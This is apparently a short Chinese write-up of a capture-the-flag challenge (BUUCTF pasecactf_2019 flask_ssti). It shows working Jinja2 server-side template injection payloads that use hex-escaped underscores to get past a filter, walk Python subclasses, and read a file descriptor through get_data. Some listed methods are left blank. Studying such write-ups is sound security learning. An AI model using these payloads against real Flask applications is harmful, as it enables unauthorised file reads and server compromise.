buuctf pasecactf_2019]flask_ssti-解题步骤详解
1.测试存在ssti
2.获取类型所属的对象,后面显示被过滤了,看了大佬的文章_'.这三个被过滤了,但可以用十六进制绕过
3.寻找基类
4.寻找可用引用
{undefined{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}
5.接下来就是开始一系列利用了(基础不是很好,后面的待填坑)一些大佬的方法:
①
②
{undefined{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
自己的一些总结:使用[]好像可以自动补.号
以下是等价的
{{"".__class__}}
{{""["\x5f\x5fclass\x5f\x5f"]}}
原文来自CSDN博主「qq_40800734」|侵删
●
●
●
●
●